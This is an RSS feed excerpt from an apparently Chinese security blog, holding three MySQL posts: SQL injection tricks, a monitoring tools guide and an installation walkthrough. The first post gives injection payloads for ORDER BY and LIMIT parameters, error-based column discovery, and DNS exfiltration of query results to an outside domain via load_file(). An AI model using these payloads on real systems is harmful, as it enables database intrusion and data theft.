		<pubDate>Thu, 03 Jun 2010 03:00:26 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[盲注]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1766.html</guid>
		<description><![CDATA[很多技巧从国外的paper学到的，不过国内没有多少人使用，所以发出来，笔记下~ 一、order by 的参数注入技巧： 两种方法，思路都一样。 example. “select username,password from uc_members order by”.$_GET['oderby'] a.常见的利用方法： 1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings)); 返回错误：[Err] 1242 – Subquery returns more than 1 row 2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings)); 返回正常。 b.国外paper看到的方法： 1.[SQL] select username,password from uc_members order by [...]]]></description>
			<content:encoded><![CDATA[<p>很多技巧从国外的paper学到的，不过国内没有多少人使用，所以发出来，笔记下~</p>
<p>一、order by 的参数注入技巧：<br />
两种方法，思路都一样。</p>
<blockquote><p>
example. “select username,password from uc_members order by”.$_GET['oderby']
</p></blockquote>
<p>a.常见的利用方法：</p>
<blockquote><p>
1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));
</p></blockquote>
<p>返回错误：[Err] 1242 – Subquery returns more than 1 row<br />
<span id="more-1766"></span></p>
<blockquote><p>
2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));
</p></blockquote>
<p>返回正常。</p>
<p>b.国外paper看到的方法：</p>
<blockquote><p>
1.[SQL] select username,password from uc_members order by 1,(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1;
</p></blockquote>
<p>返回错误：[Err] 1242 – Subquery returns more than 1 row</p>
<blockquote><p>
2.[SQL] select username,password from uc_members order by 1,(select case when(2>1) then 1 else 1*(select username from uc_members)end)=1;
</p></blockquote>
<p>返回正常。</p>
<p>二、limit 的参数注入技巧：</p>
<p>a.order by之后的limit参数 的注入，因为正常的sql语句order by后无法接union，所以没有好办法，就一个鸡肋思路：into outfile ‘/www/root/xxx.php’;</p>
<p>b.limit前无order by时的注入，那就方便多了，后面可以直接接union select ，随便怎么注都行了：</p>
<blockquote><p>
select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7
</p></blockquote>
<p>这里还有个技巧，使用procedure analyse可以获取字段名称：</p>
<blockquote><p>
select * from cdb_members where uid=1 limit 1,1 procedure analyse()
</p></blockquote>
<p>不过procedure analyse同样不能使用在order by之后：</p>
<blockquote><p>
[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()
</p></blockquote>
<blockquote><p>
[Err] 1386 – Can’t use ORDER clause with this procedure
</p></blockquote>
<p>三、无法猜测字段时的技巧：</p>
<p>在mysql5以下版本或者information_schema 无法访问的时候，无法猜到某个表的字段名，于是可以采用这个办法，在子查询中使用%0，报错获得列名。以ucenter的uc_members为例。</p>
<p>1.猜测列数：</p>
<blockquote><p>
SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)
</p></blockquote>
<p>返回错误：#1241 – Operand should contain 12 column(s)</p>
<blockquote><p>
2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)
</p></blockquote>
<p>返回正常。</p>
<blockquote><p>
3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)
</p></blockquote>
<p>返回错误：#1048 – Column ‘uid’ cannot be null</p>
<blockquote><p>
4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)
</p></blockquote>
<p>返回错误：#1048 – Column ‘username’ cannot be null<br />
5. ……</p>
<p>注：5.1以上版本不适用，字段必须为非空（not null）</p>
<p>四、windows下利用dns解析盲注的技巧：</p>
<p>如果盲注很累，或者页面无论and 1=1还是and 1=2的时候返回都一模一样，这个时候利用dns进行注入是个不错的方法，前提是win环境root权限下的mysql，利用load_file函数读取远程文件的思路。本地搭建一个dns服务器，然后将特定域名的NS server转过来。然后进行注入，并抓包。</p>
<p>本地测试了下（实际注入中单引号可以编码）：</p>
<blockquote><p>
select load_file(concat(‘\\\\aaa1.’,(select user()),’.oldjun.com\\a.txt’))
</p></blockquote>
<p>抓包成功获得select的结果：</p>
<blockquote><p>
29	28.524843	192.168.9.107	192.168.1.2	DNS	Standard query A aaa1.root@localhost.oldjun.com
</p></blockquote>
<p>如图所示：<br />
<a href="http://www.4shell.org/wp-content/uploads/2010/06/mysqldns.jpeg.jpg"><img src="http://www.4shell.org/wp-content/uploads/2010/06/mysqldns.jpeg-300x65.jpg" alt="" title="mysqldns.jpeg" width="300" height="65" class="alignnone size-medium wp-image-1765" /></a></p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年06月2日 -- <a href="http://www.4shell.org/archives/1935.html" title="Mysql安全">Mysql安全</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1897.html" title="MySQL.com和Sun.com到底是如何被黑的？">MySQL.com和Sun.com到底是如何被黑的？</a></li><li>2010年04月30日 -- <a href="http://www.4shell.org/archives/1745.html" title="MySQL监控快速指南">MySQL监控快速指南</a></li><li>2009年11月23日 -- <a href="http://www.4shell.org/archives/1173.html" title="MySQL安装详细图解">MySQL安装详细图解</a></li><li>2009年11月5日 -- <a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li><li>2009年09月2日 -- <a href="http://www.4shell.org/archives/1083.html" title="MySQL数据库安全配置指南">MySQL数据库安全配置指南</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1043.html" title="关于MySQL权限">关于MySQL权限</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1040.html" title="MySQL优化 之 Discuz论坛优化">MySQL优化 之 Discuz论坛优化</a></li><li>2009年08月3日 -- <a href="http://www.4shell.org/archives/991.html" title="高级Mysql攻击技术(翻译blackhat 2009文章)">高级Mysql攻击技术(翻译blackhat 2009文章)</a></li><li>2008年10月18日 -- <a href="http://www.4shell.org/archives/439.html" title="load_file()查看常用的一些配置文件">load_file()查看常用的一些配置文件</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1766.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL监控快速指南</title>
		<link>http://www.4shell.org/archives/1745.html</link>
		<comments>http://www.4shell.org/archives/1745.html#comments</comments>
		<pubDate>Fri, 30 Apr 2010 01:16:53 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1745.html</guid>
		<description><![CDATA[Mysql作为广泛应用的数据库系统，平时运维工作中对她的监控必不可少，现在把我对Mysql数据库的监控体会写成下文，欢迎拍砖。 无论是DBA或是SA，监控的目标都很明确，无外乎 1.快速的得到Mysql过去一段时间或者当前运行的状态 2.因硬件升级或者系统配置的改变而诊断对Mysql数据库性能影响 3.在Mysql数据库系统出现故障要能够及时收到告警 4.为日后编写运维报告提供各项数据指标供分析 5.…… 想到了再做补充。而所有以上这些目的，通过各种方法和手段都可以做到。 自从Mysql数据库系统启动并且提供服务，Mysql内部自身的一套“计数器”就开始工作，可以通过 Show Global Status ， Show global variables ，Show full processlist 得到Mysql数据库系统当前各种系统变量和状态 ，并且后文介绍个各种监控工具几乎都是对这三个指令的输出 进行数据的计算和统计分析。 这里要提到的是mysqladmin这个Mysql自带的工具，除了用来做各种管理工作，还可以用来做监控 例如：每个10秒输出一次mysql的状态信息 #./mysqladmin -i 10 extended status 下面进入文章正题 一。GUI 类监控工具 1.MySQL administrator Mysql公司发布管理工具，安装和使用都很方便 可以对Mysql 的状态，变量和进程监控，并且有简单图形绘制输出。 2.Cacti 用它来做系统监控的同仁相信很多，目前各种插件数量也很多，足以满足绝大多数公司监控要求。 这里要说的是Mysql监控插件teMySQL_cacti，能够对mysql做比较全面的监控， 但是我发现这个插件很长时间没有更新了。 3.Mysql-cacti-templates Google cacti : http://code.google.com/p/mysql-cacti-templates/ 这个应该说是teMySQL_cacti的升级和改进版本，项目发起人是主编《High Performance MySQL, Second Edition.》的作者 他的主页 http://www.xaprb.com/blog/ 本人推荐使用，功能强大丰富。 4.Nagios 这个天天使用，没啥好说的，可以自己写监控脚本来监控，和cacti结合使用是不错的搭配！ 5.Munin [...]]]></description>
			<content:encoded><![CDATA[<p>Mysql作为广泛应用的数据库系统，平时运维工作中对她的监控必不可少，现在把我对Mysql数据库的监控体会写成下文，欢迎拍砖。<br />
无论是DBA或是SA，监控的目标都很明确，无外乎</p>
<p>1.快速的得到Mysql过去一段时间或者当前运行的状态<br />
2.因硬件升级或者系统配置的改变而诊断对Mysql数据库性能影响<br />
3.在Mysql数据库系统出现故障要能够及时收到告警<br />
4.为日后编写运维报告提供各项数据指标供分析<br />
5.……</p>
<p>想到了再做补充。而所有以上这些目的，通过各种方法和手段都可以做到。</p>
<p>自从Mysql数据库系统启动并且提供服务，Mysql内部自身的一套“计数器”就开始工作，可以通过<br />
Show Global Status ， Show global variables ，Show full processlist<br />
得到Mysql数据库系统当前各种系统变量和状态 ，并且后文介绍个各种监控工具几乎都是对这三个指令的输出<br />
进行数据的计算和统计分析。<br />
<span id="more-1745"></span><br />
<a href="http://www.4shell.org/wp-content/uploads/images/2010/04/011647p1d.gif" target="_blank"><img title="点击在新窗口中浏览此图片" src="http://www.4shell.org/wp-content/uploads/images/2010/04/011647p1d.gif" border="0" alt="点击在新窗口中浏览此图片" /></a></p>
<p><a href="http://www.4shell.org/wp-content/uploads/images/2010/04/011648876.gif" target="_blank"><img title="点击在新窗口中浏览此图片" src="http://www.4shell.org/wp-content/uploads/images/2010/04/011648876.gif" border="0" alt="点击在新窗口中浏览此图片" /></a></p>
<p>这里要提到的是mysqladmin这个Mysql自带的工具，除了用来做各种管理工作，还可以用来做监控<br />
例如：每个10秒输出一次mysql的状态信息<br />
#./mysqladmin -i 10 extended status</p>
<p><a href="http://www.4shell.org/wp-content/uploads/images/2010/04/011648oa9.gif" target="_blank"><img title="点击在新窗口中浏览此图片" src="http://www.4shell.org/wp-content/uploads/images/2010/04/011648oa9.gif" border="0" alt="点击在新窗口中浏览此图片" /></a></p>
<p>下面进入文章正题</p>
<p>一。GUI 类监控工具<br />
<strong>1.MySQL administrator</strong></p>
<p>Mysql公司发布管理工具，安装和使用都很方便<br />
可以对Mysql 的状态，变量和进程监控，并且有简单图形绘制输出。</p>
<p><strong>2.Cacti</strong></p>
<p>用它来做系统监控的同仁相信很多，目前各种插件数量也很多，足以满足绝大多数公司监控要求。<br />
这里要说的是Mysql监控插件<a href="http://faemalia.net/mysqlUtils/" target="_blank">teMySQL_cacti</a>，能够对mysql做比较全面的监控，<br />
但是我发现这个插件很长时间没有更新了。<br />
<a href="http://www.4shell.org/wp-content/uploads/images/2010/04/011649FtN.jpg" target="_blank"><img title="点击在新窗口中浏览此图片" src="http://www.4shell.org/wp-content/uploads/images/2010/04/011649FtN.jpg" border="0" alt="点击在新窗口中浏览此图片" /></a></p>
<p><strong>3.Mysql-cacti-templates </strong></p>
<p>Google cacti : <a href="http://code.google.com/p/mysql-cacti-templates/" target="_blank">http://code.google.com/p/mysql-cacti-templates/</a><br />
这个应该说是teMySQL_cacti的升级和改进版本，项目发起人是主编《High Performance MySQL, Second Edition.》的作者<br />
他的主页 <a href="http://www.xaprb.com/blog/" target="_blank">http://www.xaprb.com/blog/</a><br />
本人推荐使用，功能强大丰富。<br />
<a href="http://www.4shell.org/wp-content/uploads/images/2010/04/011650ZDe.png" target="_blank"><img title="点击在新窗口中浏览此图片" src="http://www.4shell.org/wp-content/uploads/images/2010/04/011650ZDe.png" border="0" alt="点击在新窗口中浏览此图片" /></a></p>
<p><strong>4.Nagios</strong><br />
这个天天使用，没啥好说的，可以自己写监控脚本来监控，和cacti结合使用是不错的搭配！</p>
<p><strong>5.Munin</strong><br />
Munin是一款和cacti类似的系统监控工具，有兴趣的可以去研究研究<br />
<a href="http://munin.projects.linpro.no/" target="_blank">http://munin.projects.linpro.no/</a>，这里不多说</p>
<p><strong>6.Zenoss</strong><br />
测试过一次，用的不多，不做什么评价</p>
<p><strong>7.MySQL Enterprise Monitor</strong><br />
Mysql 旗舰付费产品，功能丰富<br />
<a href="http://www.4shell.org/wp-content/uploads/images/2010/04/011651TBY.gif" target="_blank"><img title="点击在新窗口中浏览此图片" src="http://www.4shell.org/wp-content/uploads/images/2010/04/011651TBY.gif" border="0" alt="点击在新窗口中浏览此图片" /></a></p>
<p>详细信息 <a href="http://www.mysql.com/products/enterprise/monitor.html" target="_blank">http://www.mysql.com/products/enterprise/monitor.html</a><br />
能够监控，报警，绘图，并提供性能优化和建议，集众多监控指标于一身，好是好，可以要花钱的哦<br />
有兴趣的可以去download 30天的试用版本体验。</p>
<p>二。文字模式的监控工具<br />
mysqlreport<br />
<a href="http://hackmysql.com/mysqlreport" target="_blank">http://hackmysql.com/mysqlreport</a><br />
<a href="http://www.4shell.org/wp-content/uploads/images/2010/04/011652P01.gif" target="_blank"><img title="点击在新窗口中浏览此图片" src="http://www.4shell.org/wp-content/uploads/images/2010/04/011652P01.gif" border="0" alt="点击在新窗口中浏览此图片" /></a></p>
<p><strong>1.mytop</strong><br />
类似linux下top命令的输入<br />
<a href="http://jeremy.zawodny.com/mysql/mytop/" target="_blank">http://jeremy.zawodny.com/mysql/mytop/</a><br />
<a href="http://www.4shell.org/wp-content/uploads/images/2010/04/0116520qw.gif" target="_blank"><img title="点击在新窗口中浏览此图片" src="http://www.4shell.org/wp-content/uploads/images/2010/04/0116520qw.gif" border="0" alt="点击在新窗口中浏览此图片" /></a></p>
<p><strong>2.mtstat-mysql</strong><br />
<a href="http://pypi.python.org/pypi/mtstat-mysql" target="_blank">http://pypi.python.org/pypi/mtstat-mysql</a></p>
<p><strong>3.mysqlreport</strong><br />
<a href="http://hackmysql.com/mysqlreport" target="_blank">http://hackmysql.com/mysqlreport</a><br />
看我写的这篇文章<br />
用mysqlreport监控并输出mysql状态值  <a href="http://hackmysql.com/mysqlreportguide" target="_blank">http://hackmysql.com/mysqlreportguide</a></p>
<p><strong>4.innotop</strong></p>
<p>这个针对innodb存储引擎数据库的监控，功能丰富<br />
<a href="http://www.xaprb.com/blog/2006/07/02/innotop-mysql-innodb-monitor/" target="_blank">http://www.xaprb.com/blog/2006/07/02/innotop-mysql-innodb-monitor/</a><br />
<a href="http://www.4shell.org/wp-content/uploads/images/2010/04/0116531EO.png" target="_blank"><img title="点击在新窗口中浏览此图片" src="http://www.4shell.org/wp-content/uploads/images/2010/04/0116531EO.png" border="0" alt="点击在新窗口中浏览此图片" /></a></p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年06月2日 -- <a href="http://www.4shell.org/archives/1935.html" title="Mysql安全">Mysql安全</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1897.html" title="MySQL.com和Sun.com到底是如何被黑的？">MySQL.com和Sun.com到底是如何被黑的？</a></li><li>2010年06月3日 -- <a href="http://www.4shell.org/archives/1766.html" title="Mysql另类盲注中的一些技巧">Mysql另类盲注中的一些技巧</a></li><li>2009年11月23日 -- <a href="http://www.4shell.org/archives/1173.html" title="MySQL安装详细图解">MySQL安装详细图解</a></li><li>2009年11月5日 -- <a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li><li>2009年09月2日 -- <a href="http://www.4shell.org/archives/1083.html" title="MySQL数据库安全配置指南">MySQL数据库安全配置指南</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1043.html" title="关于MySQL权限">关于MySQL权限</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1040.html" title="MySQL优化 之 Discuz论坛优化">MySQL优化 之 Discuz论坛优化</a></li><li>2009年08月3日 -- <a href="http://www.4shell.org/archives/991.html" title="高级Mysql攻击技术(翻译blackhat 2009文章)">高级Mysql攻击技术(翻译blackhat 2009文章)</a></li><li>2008年10月18日 -- <a href="http://www.4shell.org/archives/439.html" title="load_file()查看常用的一些配置文件">load_file()查看常用的一些配置文件</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1745.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL安装详细图解</title>
		<link>http://www.4shell.org/archives/1173.html</link>
		<comments>http://www.4shell.org/archives/1173.html#comments</comments>
		<pubDate>Mon, 23 Nov 2009 03:07:45 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1173.html</guid>
		<description><![CDATA[下面的是MySQL安装的图解，用的可执行文件安装的，详细说明了一下！ 　　打开下载的mysql安装文件mysql-5.0.27-win32.zip，双击解压缩，运行“setup.exe”，出现如下界面： mysql安装向导启动，按“Next”继续 选择安装类型，有“Typical（默认）”、“Complete（完全）”、“Custom（用户自定义）”三个选项，我们选择“Custom”，有更多的选项，也方便熟悉安装过程 在“Developer Components（开发者部分）”上左键单击，选择“This feature, and all subfeatures, will be installed on local hard drive.”，即“此部分，及下属子部分内容，全部安装在本地硬盘上”。在上面的“MySQL Server（mysql服务器）”、“Client Programs（mysql客户端程序）”、“Documentation（文档）”也如此操作，以保证安装所有文件。点选“Change…”，手 动指定安装目录。 填上安装目录，我的是“F:ServerMySQLMySQL Server 5.0”，也建议不要放在与操作系统同一分区，这样可以防止系统备份还原的时 候，数据被清空。按“OK”继续。 返回刚才的界面，按“Next”继续。 确认一下先前的设置，如果有误，按“Back”返回重做。按“Install”开始安装。 正在安装中，请稍候，直到出现下面的界面 这里是询问你是否要注册一个mysql.com的账号，或是使用已有的账号登陆mysql.com，一般不需要了，点选“Skip Sign-Up”，按“Next”略过此步骤。 现在软件安 装完成了，出现上面的界面，这里有一个很好的功能，mysql配置向导，不用向以前一样，自己手动乱七八糟的配置my.ini了，将 “Configure the Mysql Server now”前面的勾打上，点“Finish”结束软件的安装并启动mysql配置向导。 mysql配置向导启动界面，按“Next”继续。 选择配置方式，“Detailed Configuration（手动精确配置）”、“Standard Configuration（标准配置）”，我们选择“Detailed Configuration”，方便熟悉配置过程。 选择服务器类型，“Developer Machine（开发测试类，mysql占用很少资源）”、“Server Machine（服务器类型，mysql占用较多资源）”、“Dedicated MySQL Server Machine（专门的数据库服务器，mysql占用所有可用资源）”，大家根据自己的类型选择了，一般选“Server Machine”，不会太少，也不会占满。 选择mysql数据库的大致用途，“Multifunctional Database（通 用多功能型，好）”、“Transactional Database Only（服务器类型，专注于事务处理，一般）”、“Non-Transactional Database Only（非事务处理型，较简单，主要做一些监控、记数用，对MyISAM数据类型的支持仅限于non-transactional），随自己的用途而选 [...]]]></description>
			<content:encoded><![CDATA[<p>下面的是MySQL安装的图解，用的可执行文件安装的，详细说明了一下！ 　　打开下载的mysql安装文件mysql-5.0.27-win32.zip，双击解压缩，运行“setup.exe”，出现如下界面：<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111204U1Q.jpg" border="0" alt="" /><br />
mysql安装向导启动，按“Next”继续<br />
<span id="more-1173"></span><br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111207Oil.jpg" border="0" alt="" /><br />
选择安装类型，有“Typical（默认）”、“Complete（完全）”、“Custom（用户自定义）”三个选项，我们选择“Custom”，有更多的选项，也方便熟悉安装过程<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111211PAo.jpg" border="0" alt="" /><br />
在“Developer Components（开发者部分）”上左键单击，选择“This feature, and all subfeatures, will be installed on local hard drive.”，即“此部分，及下属子部分内容，全部安装在本地硬盘上”。在上面的“MySQL Server（mysql服务器）”、“Client Programs（mysql客户端程序）”、“Documentation（文档）”也如此操作，以保证安装所有文件。点选“Change…”，手 动指定安装目录。<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111213S1P.jpg" border="0" alt="" /><br />
填上安装目录，我的是“F:ServerMySQLMySQL Server 5.0”，也建议不要放在与操作系统同一分区，这样可以防止系统备份还原的时<br />
候，数据被清空。按“OK”继续。<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111217SqD.jpg" border="0" alt="" /><br />
返回刚才的界面，按“Next”继续。<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111219glw.jpg" border="0" alt="" /><br />
确认一下先前的设置，如果有误，按“Back”返回重做。按“Install”开始安装。<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/11122293y.jpg" border="0" alt="" /><br />
正在安装中，请稍候，直到出现下面的界面<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111226uCI.jpg" border="0" alt="" /><br />
这里是询问你是否要注册一个mysql.com的账号，或是使用已有的账号登陆mysql.com，一般不需要了，点选“Skip Sign-Up”，按“Next”略过此步骤。<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111229GJd.jpg" border="0" alt="" /><br />
现在<span style="text-decoration: underline;"><strong><span style="color: #0000ff;">软件</span></strong></span>安 装完成了，出现上面的界面，这里有一个很好的功能，mysql配置向导，不用向以前一样，自己手动乱七八糟的配置my.ini了，将 “Configure the Mysql Server now”前面的勾打上，点“Finish”结束软件的安装并启动mysql配置向导。<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111232X18.jpg" border="0" alt="" /><br />
mysql配置向导启动界面，按“Next”继续。<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/1112356AJ.jpg" border="0" alt="" /><br />
选择配置方式，“Detailed Configuration（手动精确配置）”、“Standard Configuration（标准配置）”，我们选择“Detailed Configuration”，方便熟悉配置过程。<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111239GZG.jpg" border="0" alt="" /><br />
选择服务器类型，“Developer Machine（开发测试类，mysql占用很少资源）”、“Server Machine（服务器类型，mysql占用较多资源）”、“Dedicated MySQL Server Machine（专门的<span style="text-decoration: underline;"><strong><span style="color: #0000ff;">数据库</span></strong></span>服务器，mysql占用所有可用资源）”，大家根据自己的类型选择了，一般选“Server Machine”，不会太少，也不会占满。<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111241Aga.jpg" border="0" alt="" /><br />
选择mysql数据库的大致用途，“Multifunctional <span style="text-decoration: underline;"><strong><span style="color: #0000ff;">Database</span></strong></span>（通 用多功能型，好）”、“Transactional Database Only（服务器类型，专注于事务处理，一般）”、“Non-Transactional Database Only（非事务处理型，较简单，主要做一些监控、记数用，对MyISAM数据类型的支持仅限于non-transactional），随自己的用途而选 择了，我这里选择“Transactional Database Only”，按“Next”继续。 <img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111243tEt.jpg" border="0" alt="" /><br />
对InnoDB Tablespace进行配置，就是为InnoDB 数据库文件选择一个存储空间，如果修改了，要记住位置，重装的时候要选择一样的地方，否则可能会造成数据库损坏，当然，对数据库做个备份就没问题了，这里 不详述。我这里没有修改，使用用默认位置，直接按“Next”继续<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111245GMG.jpg" border="0" alt="" /><br />
选择您的网站的一般mysql访问量，同时连接的数目，“Decision Support(DSS)/OLAP（20个左右）”、“Online Transaction Processing(OLTP)（500个左右）”、“Manual Setting（手动设置，自己输一个数）”，我这里选“Online Transaction Processing(OLTP)”，自己的服务器，应该够用了，按“Next”继续<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111247Wqz.jpg" border="0" alt="" /><br />
是否启用TCP/IP连接，设定端口，如果不启用，就只能在自己的机器上访问mysql数据库了，我这里启用，把前面的勾打上，Port Number：3306，在这个页面上，您还可以选择“启用标准模式”（Enable Strict Mode），这样MySQL就不会允许细小的语法错误。如果您还是个新手，我建议您取消标准模式以减少麻烦。但熟悉MySQL以后，尽量使用标准模式，因 为它可以降低有害数据进入数据库的可能性。按“Next”继续<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111249wbs.jpg" border="0" alt="" /><br />
这个比较重要，就是对mysql默认数据库语言编码进行设置，第一个是西文编码，第二个是多字节的通用utf8编码，都不是我们通用的编码，这里选择第三 个，然后在Character Set那里选择或填入“gbk”，当然也可以用“gb2312”，区别就是gbk的字库容量大，包括了gb2312的所有汉字，并且加上了繁体字、和其它 乱七八糟的字——使用mysql的时候，在执行数据操作命令之前运行一次“SET NAMES GBK;”（运行一次就行了，GBK可以替换为其它值，视这里的设置而定），就可以正常的使用汉字（或其它文字）了，否则不能正常显示汉字。按 “Next”继续。<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111251Y11.jpg" border="0" alt="" /><br />
选择是否将mysql安装为windows服务，还可以指定Service Name（服务标识名称），是否将mysql的bin目录加入到Windows PATH（加入后，就可以直接使用bin下的文件，而不用指出目录名，比如连接，“mysql.exe -uusername -ppassword;”就可以了，不用指出mysql.exe的完整地址，很方便），我这里全部打上了勾，Service Name不变。按“Next”继续。 <img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111253HxX.jpg" border="0" alt="" /><br />
这一步询问是否要修改默认root用户（超级管理）的密码（默认为空），“New root password”如果要修改，就在此填入新密码（如果是重装，并且之前已经设置了密码，在这里更改密码可能会出错，请留空，并将“Modify Security Settings”前面的勾去掉，安装配置完成后另行修改密码），“Confirm（再输一遍）”内再填一次，防止输错。“Enable root access from remote machines（是否允许root用户在其它的机器上登陆，如果要安全，就不要勾上，如果要方便，就勾上它）”。最后“Create An Anonymous Account（新建一个匿名用户，匿名用户可以连接数据库，不能操作数据，包括查询）”，一般就不用勾了，设置完毕，按“Next”继续。 <img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111255um6.jpg" border="0" alt="" /><br />
确认设置无误，如果有误，按“Back”返回检查。按“Execute”使设置生效。 <img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111257zG5.jpg" border="0" alt="" /><br />
设置完毕，按“Finish”结束mysql的安装与配置——这里有一个比较常见的错误，就是不能“Start service”，一般出现在以前有安装mysql的服务器上，解决的办法，先保证以前安装的mysql服务器彻底卸载掉了；不行的话，检查是否按上面一 步所说，之前的密码是否有修改，照上面的操作；如果依然不行，将mysql安装目录下的data文件夹备份，然后删除，在安装完成后，将安装生成的 data文件夹删除，备份的data文件夹移回来，再重启mysql服务就可以了，这种情况下，可能需要将数据库检查一下，然后修复一次，防止数据出错。</p>
<p><img style="width: 454px; cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111300GZY.jpg" border="0" alt="" /></p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年06月2日 -- <a href="http://www.4shell.org/archives/1935.html" title="Mysql安全">Mysql安全</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1897.html" title="MySQL.com和Sun.com到底是如何被黑的？">MySQL.com和Sun.com到底是如何被黑的？</a></li><li>2010年06月3日 -- <a href="http://www.4shell.org/archives/1766.html" title="Mysql另类盲注中的一些技巧">Mysql另类盲注中的一些技巧</a></li><li>2010年04月30日 -- <a href="http://www.4shell.org/archives/1745.html" title="MySQL监控快速指南">MySQL监控快速指南</a></li><li>2009年11月5日 -- <a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li><li>2009年09月2日 -- <a href="http://www.4shell.org/archives/1083.html" title="MySQL数据库安全配置指南">MySQL数据库安全配置指南</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1043.html" title="关于MySQL权限">关于MySQL权限</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1040.html" title="MySQL优化 之 Discuz论坛优化">MySQL优化 之 Discuz论坛优化</a></li><li>2009年08月3日 -- <a href="http://www.4shell.org/archives/991.html" title="高级Mysql攻击技术(翻译blackhat 2009文章)">高级Mysql攻击技术(翻译blackhat 